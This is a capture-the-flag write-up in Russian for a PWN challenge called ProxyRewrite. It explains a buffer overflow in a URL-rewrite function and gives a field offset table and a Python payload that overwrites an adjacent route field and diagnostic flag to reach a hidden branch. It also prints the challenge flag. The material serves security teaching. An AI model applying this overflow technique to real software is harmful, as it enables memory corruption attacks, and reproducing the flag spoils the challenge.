42 lines
2.1 KiB
Markdown
42 lines
2.1 KiB
Markdown
<h1 align="center">ProxyRewrite</h1>
|
||
|
||
<p align="center">
|
||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||
</p>
|
||
|
||
ProxyRewrite проверяет правила переписывания URL. Передаём образец, замену и исходную строку. Результат записывается в буфер `output[64]`. В ELF `proxyrewrite` видно, что длинную замену копируют без проверки размера. Рядом лежат маршрут и флаг диагностики.
|
||
|
||
## Решение
|
||
|
||
У задания три соседних поля:
|
||
|
||
| Смещение | Поле | Что записываем |
|
||
|---:|---|---|
|
||
| 0 | `output[64]` | 64 байта заполнителя |
|
||
| 64 | `route[48]` | `/internal/diag` и добивку |
|
||
| 112 | `diag`, 4 байта | `0x50525859` |
|
||
|
||
В `rewrite()` каждое совпадение `match` в `target` заменяется всей строкой `replace`. Чтобы запись была предсказуемой, задаём `match = A` и `target = A`, тогда замена выполнится ровно один раз.
|
||
|
||
Собираем замену по смещениям полей:
|
||
|
||
```python
|
||
import struct
|
||
|
||
route = b"/internal/diag"
|
||
payload = b"B" * 64
|
||
payload += route.ljust(48, b"C")
|
||
payload += struct.pack("<I", 0x50525859)
|
||
```
|
||
|
||
Всего 116 байт. Они заполняют `output`, записывают диагностический путь в начало поля `route` и выставляют `diag`.
|
||
|
||
В пункте `2) simulate rewrite` последовательно передаём `A`, payload и снова `A`. После переписывания выбираем `3) dispatch rewritten request`. Сервис обрабатывает запрос в диагностической ветке и возвращает флаг.
|
||
|
||
[Солвер](solve/solve.py).
|
||
|
||
## Флаг
|
||
|
||
`caplag{rewrite_converter_crossed_into_the_route}`
|